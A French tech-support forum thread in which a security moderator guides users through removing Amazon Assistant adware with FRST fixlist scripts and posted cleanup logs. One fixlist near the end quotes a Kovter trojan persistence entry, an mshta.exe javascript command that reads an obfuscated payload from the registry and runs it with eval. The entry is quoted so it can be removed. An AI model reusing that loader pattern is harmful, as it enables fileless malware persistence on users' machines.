Supprimer Amazon Assistant de mon disque dur [Résolu/Fermé]

Signaler
-
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
-
Bonjour,

Depuis ce matin au lancement de mon PC (sous Windows 10), j'ai une boîte de dialogue qui s'affiche, m'indiquant que « Le composant ActiveX ne peut pas créer l'objet » et ceci concernant le dossier de fichier suivant : C:\Program Files (x86)\Amazon, et il y a effectivement à cet emplacement un dossier Amazon et un sous-dossier Amazon Assistant alors que je n'ai jamais installé cet assistant, qui d'ailleurs m'ouvre une page Internet Explorer avec un moteur de recherche Amazon. J'ai viré pour de bon Internet Explorer mais j'ai toujours cette boîte de dialogue qui s'ouvre au démarrage.

J'ai fait un scan Malwarebytes et AdwCleaner qui n'a pas résolu le problème.

J'ai approfondi un peu plus avec un scan via OTL et ZHPDiag. Voici l'ensemble des rapports :

Scan ZHPDiag : http://pjjoint.malekal.com/files.php?read=20170312_i14c14j10z15y10

Scan OTL : http://pjjoint.malekal.com/files.php?read=20170312_q6o8b7c1213

Scan ADWCleaner : http://pjjoint.malekal.com/files.php?read=20170312_r915s6f11s7

S'il y a besoin de faire d'autres scans ou d'autres informations, je suis preneur pour me débarasser de ça ! Merci d'avance et bonne journée ! ;)

19 réponses

Voilà : http://pjjoint.malekal.com/files.php?read=20170312_o10m5d6f9x8

Je pense que c'est ok, je ne retrouve plus ce dossier Amazon dans C:. :)
1
Merci

Quelques mots de remerciements seront grandement appréciés. Ajouter un commentaire

CCM 60511 internautes nous ont dit merci ce mois-ci

Et voici donc :

FRST : http://pjjoint.malekal.com/files.php?read=FRST_20170312_h9r13e7c5j9

Addition : http://pjjoint.malekal.com/files.php?read=20170312_p7e615p14n5

Shortcut : http://pjjoint.malekal.com/files.php?read=20170312_s15b10n8e10u15
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
oui =)
Salut, j'ai déjà essayé cette solution avant de demander de l'aide car si je fais comme tu l'as écrit ça ne fonctionne pas. Je mets la flèche sur supprimer de Amazon assistant mais ça ne mets le mot en surbrillance et je peux cliquer autant de fois que je veux il ne se passe rien. Et le reste de ta solution réparer ou/et réinitialiser internet Explorer, suppression module complémentaire essayé et au final j'ai juste réussi à arrêter l'apparition de pages internet avec l'adresse "aa ressource" qui s'ouvrai dés que j'allumai le portable et qu'il captai le wifi.
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
il a déjà été désinstallé en fait...
Au passage, tu devrais désinstaller Spybot, il est complètement inefficace.

Pour les restes d'Amazon :

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :

CreateRestorePoint:
CloseProcesses:
S2 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
2017-03-18 02:43 - 2017-03-18 02:43 - 00002275 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AmazonAssistant.lnk
2017-03-18 02:43 - 2017-03-18 02:43 - 00000000 ____D C:\Program Files (x86)\Amazon
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:


Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.
bonjour !

même problème ici... et si au passage, ca pouvait éliminer la cochonnerie booking.com du meme genre, ce serait cool.

http://pjjoint.malekal.com/files.php?id=FRST_20170326_d14m14p14t10v11
http://pjjoint.malekal.com/files.php?id=20170326_k7k10e5w8m11
http://pjjoint.malekal.com/files.php?id=20170326_l8e12q12r13g12

merci de votre aide !
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Salut,

Pareil, tu dois pouvoir le désinstaller depuis le Panneau de configuration
=> Programmes et fonctionnalités
Amazon Assistant doit apparaître.


Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :

CreateRestorePoint:
CloseProcesses:
R2 Amazon Assistant Service; C:\Program Files\Amazon\Amazon Assistant\amazonAssistantService.exe [102576 2017-02-28] ()
C:\Program Files\Amazon
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:


Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.

Bonjour,

J'ai le même problème. Pouvez vos m'aider svp. Voici les liens :

https://pjjoint.malekal.com/files.php?id=20170421_y105c14b14w14

https://pjjoint.malekal.com/files.php?id=FRST_20170421_u8u14r11g5x81

Un tout grand merci!!!
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Salut,

Le lien FRST n'est pas bon.
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
voila :


Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :


CreateRestorePoint:
CloseProcesses:
Task: {D51E0424-3F4D-471F-B37F-497C87B45A9F} - System32\Tasks\DistromaticSearchProtect-logon => C:\Program Files (x86)\Amazon Browser Settings\AmznSearchProtect.exe [2016-11-16] (Distromatic) <==== ATTENTION
HKU\S-1-5-21-3509451062-2650747901-1925886680-1002\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [9364696 2017-03-03] (Piriform Ltd)
R2 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
C:\Program Files (x86)\Amazon
Task: {1BA3FEE7-AA6A-451B-9963-0F7BDD538EAE} - System32\Tasks\DistromaticSearchProtect-hourly => C:\Program Files (x86)\Amazon Browser Settings\AmznSearchProtect.exe [2016-11-16] (Distromatic) <==== ATTENTION
EmptyTemp:
RemoveProxy:
Reboot:


Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",

A gauche, place toi sur le Bureau,

Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparait, copie/colle le contenu ici dans un nouveau message.


Redémarre l'ordinateur.

2°)
Réinitialise/Répare les navigateurs WEB concernés par les problèmes :
Utilisateur anonyme >
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020

Bonjour,

voici,

fixlist contenu:

CreateRestorePoint:
CloseProcesses:
Task: {D51E0424-3F4D-471F-B37F-497C87B45A9F} - System32\Tasks\DistromaticSearchProtect-logon => C:\Program Files (x86)\Amazon Browser Settings\AmznSearchProtect.exe [2016-11-16] (Distromatic) <==== ATTENTION
HKU\S-1-5-21-3509451062-2650747901-1925886680-1002\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [9364696 2017-03-03] (Piriform Ltd)
R2 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
C:\Program Files (x86)\Amazon
Task: {1BA3FEE7-AA6A-451B-9963-0F7BDD538EAE} - System32\Tasks\DistromaticSearchProtect-hourly => C:\Program Files (x86)\Amazon Browser Settings\AmznSearchProtect.exe [2016-11-16] (Distromatic) <==== ATTENTION
EmptyTemp:
RemoveProxy:
Reboot:


Le Point de restauration a été créé avec succès.
Processus fermé avec succès.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D51E0424-3F4D-471F-B37F-497C87B45A9F} => clé non trouvé(e).
C:\WINDOWS\System32\Tasks\DistromaticSearchProtect-logon => non trouvé(e).
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\DistromaticSearchProtect-logon => clé non trouvé(e).
HKU\S-1-5-21-3509451062-2650747901-1925886680-1002\Software\Microsoft\Windows\CurrentVersion\Run\\CCleaner Monitoring => valeur non trouvé(e).
Amazon Assistant Service => service non trouvé(e).
"C:\Program Files (x86)\Amazon" => non trouvé(e).
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{1BA3FEE7-AA6A-451B-9963-0F7BDD538EAE} => clé non trouvé(e).
C:\WINDOWS\System32\Tasks\DistromaticSearchProtect-hourly => non trouvé(e).
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\DistromaticSearchProtect-hourly => clé non trouvé(e).

========= RemoveProxy: =========

HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => valeur supprimé(es) avec succès
HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => valeur supprimé(es) avec succès
HKU\S-1-5-21-3509451062-2650747901-1925886680-1002\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => valeur supprimé(es) avec succès
HKU\S-1-5-21-3509451062-2650747901-1925886680-1002\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => valeur supprimé(es) avec succès


========= Fin de RemoveProxy: =========


=========== EmptyTemp: ==========

BITS transfer queue => 0 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 13852204 B
Java, Flash, Steam htmlcache => 0 B
Windows/system/drivers => 14075 B
Edge => 0 B
Chrome => 33773781 B
Firefox => 0 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
Users => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 0 B
systemprofile32 => 0 B
LocalService => 830 B
NetworkService => 0 B
UpdatusUser => 0 B
vinch => 42940694 B

RecycleBin => 0 B
EmptyTemp: => 86.4 MB données temporaires supprimées.

================================


Le système a dû redémarrer.

Fin de Fixlog 10:07:13

Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287 > Utilisateur anonyme
il y a du mieux après la réinitialisation des navigateurs WEB ?

Fais un nettoyage Malwarebytes - Tutoriel Malwarebytes Anti-Malware version gratuite

Bonjour,

J'ai le même problème. Pouvez vos m'aider également svp. Voici les liens :

https://pjjoint.malekal.com/files.php?id=20170424_w13j9u15y13t6

https://pjjoint.malekal.com/files.php?id=FRST_20170424_h14e15n10t11j5

https://pjjoint.malekal.com/files.php?id=20170424_i9c9i9e13g6


Merci d'avance, y en a marre d'avoir 250 fenêtres Amazon Assistant qui s'ouvrent...
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Tu dois pouvoir le désinstaller depuis panneau de configuration > programmes et fonctionnalités.

Intel® Security Assist à désinstaller aussi.

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :

CreateRestorePoint:
FF Extension: (Amazon Assistant for Firefox) - C:\Users\alexi\AppData\Roaming\Mozilla\Firefox\Profiles\xrsmru98.default\Extensions\abb-acer@amazon.com [2017-01-06]
S2 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
C:\Program Files (x86)\Amazon
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:


Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.

2°)
Réinitialise/Répare les navigateurs WEB concernés par les problèmes :
Messages postés
1
Date d'inscription
mardi 25 avril 2017
Statut
Membre
Dernière intervention
26 avril 2017

Bonjour,
j'ai exactement le même problème sur mon ordinateur.
Quelqu'un pourrait m'aider s'il vous plait ?
Voici les 3 liens :

https://pjjoint.malekal.com/files.php?id=FRST_20170425_e15z5j14j6t12

https://pjjoint.malekal.com/files.php?id=FRST_20170425_m9w5m5g12q15

https://pjjoint.malekal.com/files.php?id=20170425_h6d9o5u14q11

Merci d'avance
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Salut,


Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :


CreateRestorePoint:
CloseProcesses:
FF Extension: (Amazon Assistant for Firefox) - C:\Users\Admin74\AppData\Roaming\Mozilla\Firefox\Profiles\5la225dr.default\Extensions\abb-acer@amazon.com [2016-09-02]
R2 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
C:\Program Files (x86)\Amazon
EmptyTemp:
RemoveProxy:
Reboot:


Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",

A gauche, place toi sur le Bureau,

Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparait, copie/colle le contenu ici dans un nouveau message.


Redémarre l'ordinateur.

2°)
Réinitialise/Répare les navigateurs WEB concernés par les problèmes :
Messages postés
1
Date d'inscription
mardi 25 avril 2017
Statut
Membre
Dernière intervention
26 avril 2017
>
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020

Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287 >
Messages postés
1
Date d'inscription
mardi 25 avril 2017
Statut
Membre
Dernière intervention
26 avril 2017

c'est mieux ?
Messages postés
1
Date d'inscription
mardi 25 avril 2017
Statut
Membre
Dernière intervention
26 avril 2017
>
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020

Oui merci beaucoup !
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287 >
Messages postés
1
Date d'inscription
mardi 25 avril 2017
Statut
Membre
Dernière intervention
26 avril 2017

ça roule =)
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Salut,

Bcp de ménage à faire.

Vas dans le Panneau de configuration.
Désinstalle :
Amazon Assistant

A désinstaller, vu que tu as déjà la panopolie Antivir :
Intel® Security Assist
McAfee LiveSafe
McAfee Security Scan Plus
McAfee WebAdvisor


Pas utile à désinstaller :
Avira Phantom VPN
Avira System Speedup


Est-ce utile ?
RealDownloader
RealDownloader
RealNetworks
RealPlayer
RealUpgrade 1.1


A désinstaller :
WildTangent Games


Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :

CreateRestorePoint:
R2 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
C:\Program Files (x86)\Amazon
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:


Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.

2°)
Réinitialise/Répare les navigateurs WEB concernés par les problèmes :
>
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020

Ouah merci c'est super! Je vais aller voir tout ça... J'ai du boulot!
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287 > Yumililoo
oui trop de programmes inutiles, cela doit ralentir Windows =)
Bonjour, même chose que tout le monde. Si on pouvait m'aider ca serait bien gentil! Voici les liens :

http://pjjoint.malekal.com/files.php?id=FRST_20170514_b7o12g14z15t15
http://pjjoint.malekal.com/files.php?id=20170514_e10w6p6y7h11
http://pjjoint.malekal.com/files.php?id=20170514_e13l6u14z7n7

Merci!! :)
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Salut,

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :

CreateRestorePoint:
CloseProcesses:
BHO: The Amazon 1Button App for Internet Explorer -> {BAC72C85-CEC6-4B86-AF06-FA20C259FAB8} -> C:\Program Files (x86)\Amazon\Amazon1ButtonApp\Amazon1ButtonBrowserHelper64.dll => No File
FF Extension: (Amazon Assistant for Firefox) - C:\Users\annie\AppData\Roaming\Mozilla\Firefox\Profiles\uq81yr0m.default\Extensions\abb-acer@amazon.com [2016-08-15]
S2 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
EmptyTemp:
RemoveProxy:
Reboot:


Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.

2°)
Réinitialise/Répare les navigateurs WEB concernés par les problèmes :
Salut, j'ai du redémarrer mon ordinateur après avoir corrigé avec FRST, je n'ai donc pas de fichier texte qui m'est apparu...

Et merci beaucoup de ton aide en passant! :)
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287 > Annie
de rien :)
Amazon Assistant doit avoir disparu :)
Après il peut rester dans la liste des programmes, tu peux le supprimer comme ceci : https://forum.malekal.com/viewtopic.php?t=44630&start=
Bonjour,

Ravie d'avoir trouvé ce forum, j'ai également ce problème. Impossible de supprimer le programme Amazon assistant, le bouton Désinstaller ne réagit pas. Des fenêtres s'ouvrent en cascade, même sans connexion internet.

J'ai suivi les procédures décrites plus haut.
Voici mes liens :
http://pjjoint.malekal.com/files.php?id=FRST_20170517_g5p5y11p12k9

http://pjjoint.malekal.com/files.php?id=20170517_o9z14i10p9f11

http://pjjoint.malekal.com/files.php?id=20170517_r9z14s12g5v15

Mille mercis de votre aide !!
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Salut,

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :

CreateRestorePoint:
CloseProcesses:
R2 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
C:\Program Files (x86)\Amazon
EmptyTemp:
RemoveProxy:
Reboot:


Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.

2°)
Réinitialise/Répare les navigateurs WEB concernés par les problèmes :
>
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020

Un immense merci !
Voici le message :

Résultats de correction de Farbar Recovery Scan Tool (x64) Version: 14-05-2017
Exécuté par Laure (16-05-2017 15:26:47) Run:1
Exécuté depuis C:\Users\Laure\Desktop
Profils chargés: Laure (Profils disponibles: Laure)
Mode d'amorçage: Normal
==============================================

fixlist contenu:

CreateRestorePoint:
CloseProcesses:
R2 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
C:\Program Files (x86)\Amazon
EmptyTemp:
RemoveProxy:
Reboot:


Le Point de restauration a été créé avec succès.
Processus fermé avec succès.
HKLM\System\CurrentControlSet\Services\Amazon Assistant Service => clé supprimé(es) avec succès
Amazon Assistant Service => service supprimé(es) avec succès

"C:\Program Files (x86)\Amazon" dossier déplacer:

Impossible de déplacer "C:\Program Files (x86)\Amazon" => Planifié pour déplacement au redémarrage.


========= RemoveProxy: =========

HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => valeur supprimé(es) avec succès
HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => valeur supprimé(es) avec succès
HKU\S-1-5-21-3904055075-1104906183-1526664574-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => valeur supprimé(es) avec succès
HKU\S-1-5-21-3904055075-1104906183-1526664574-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => valeur supprimé(es) avec succès


========= Fin de RemoveProxy: =========


=========== EmptyTemp: ==========

BITS transfer queue => 0 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 81523740 B
Java, Flash, Steam htmlcache => 4898 B
Windows/system/drivers => 11771434 B
Edge => 4693545 B
Chrome => 197794351 B
Firefox => 22959948 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
Users => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 13394048 B
systemprofile32 => 0 B
LocalService => 32686 B
NetworkService => 2410 B
Laure => 838750918 B

RecycleBin => 216406835 B
EmptyTemp: => 1.3 GB données temporaires supprimées.

================================

Résultats du déplacement planifié des fichiers (Mode d'amorçage: Normal) (Date&Heure: 16-05-2017 15:42:53)

C:\Program Files (x86)\Amazon => a été déplacé(e) avec succès

Fin de Fixlog 15:42:53

> vahine
En tous cas je n'ai plus de fenêtre qui s'ouvre toutes les secondes sur on ordi, c'est super !
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287 > vahine
super :)
Messages postés
2
Date d'inscription
mardi 23 mai 2017
Statut
Membre
Dernière intervention
23 mai 2017

Bonjour,

Pour moi, le problème est un peu différent puisque après avoir lu cette conversation, j'ai essayé de procéder de la même manière mais ne ne peux télécharger

FRST.txt
Shortcut.txt
Additionnal.txt

puisque mon ordi me dit "virus détecté".

C'est vachement pénible...
Help, help, help!!!!!!!!!
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Salut,

Tu n'as pas donné les liens.
C'est pas cliquable.
Messages postés
2
Date d'inscription
mardi 23 mai 2017
Statut
Membre
Dernière intervention
23 mai 2017

Euh je ne comprends pas... Attention attention, l'informatique et moi c'est un peu la cata...

Il m'a semblé comprendre qu'il y a trois choses à télécharger. Si c'est le cas, je ne peux pas le faire parce que mon ordi les détectes comme des virus. Pareil pour adwcleaner et autres.
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287 >
Messages postés
2
Date d'inscription
mardi 23 mai 2017
Statut
Membre
Dernière intervention
23 mai 2017

voir le premier message, il faut suivre le tuto FRST et fournir les rapports en donnant les liens pjjoint: https://forums.commentcamarche.net/forum/affich-34438990-supprimer-amazon-assistant-de-mon-disque-dur#1
Messages postés
1
Date d'inscription
mardi 23 mai 2017
Statut
Membre
Dernière intervention
23 mai 2017

Bonjour Malekal,

Même histoire que les autres. Je me fais envahir de fenêtres en lien avec amazon assistant.

Voici les liens :

addition
https://pjjoint.malekal.com/files.php?read=20170523_g15c10z13o9r6

shortcut
https://pjjoint.malekal.com/files.php?id=20170523_j6t6y14d13h10

FRST
https://pjjoint.malekal.com/files.php?id=FRST_20170523_z15p7s14x12z7

Merci d'avance pour votre aide!
Guigs82
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Salut,

Pas bon, en plus de Amazon Assitant, tu as des trojans type Kovter.

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :

CreateRestorePoint:
CloseProcesses:
HKU\S-1-5-21-1136776467-33283779-138301361-1001\...\Run: [**wzzamwf<*>] => "C:\Users\Guillaume Roduit\AppData\Local\a415\58c8.bat" <===== ATTENTION (Value Name with invalid characters)
C:\Users\Guillaume Roduit\AppData\Local\a41
HKU\S-1-5-21-1136776467-33283779-138301361-1001\...\Run: [Browser Extensions] => C:\Users\Guillaume Roduit\AppData\Roaming\BrowserExtensions\BEHelper.exe [1619240 2017-02-28] ()
S4 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
HKU\S-1-5-21-1136776467-33283779-138301361-1001\Software\Classes\29ad: "C:\WINDOWS\system32\mshta.exe" "javascript:Jf1PA3="d";c1u=new ActiveXObject("WScript.Shell");Y13zut="N";iNJ01g=c1u.RegRead("HKCU\\software\\mrqdam\\xkcfmx");yeAD64l="85";eval(iNJ01g);iBO4Q7m="9gHTVN8";" <===== ATTENTION
reg: reg delete "HKCU\Software\mrqdam"
C:\Program Files (x86)\Amazon
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:


Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.


2°)
Réinitialise/Répare les navigateurs WEB concernés par les problèmes :

3°)
Termine par un nettoyage Malwarebytes - Tutoriel Malwarebytes Anti-Malware version gratuite
Messages postés
2
Date d'inscription
mercredi 31 mai 2017
Statut
Membre
Dernière intervention
31 mai 2017

Salut Malekal,

J'ai le même problème que pas mal d'autres, Amazon Assistant installé, impossible à supprimer ("Supprimer" est grisé dans les paramètres de Windows), et ça fait ramer mon firefox.

Merci infiniment si tu peux m'aider !

Voici les liens :

FRST : https://pjjoint.malekal.com/files.php?id=FRST_20170531_f5h9u10g10p6
Addition : https://pjjoint.malekal.com/files.php?id=20170531_x10f8m5p10f10
Shortcut : https://pjjoint.malekal.com/files.php?id=20170531_z6j7h13t7m9
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Hello,


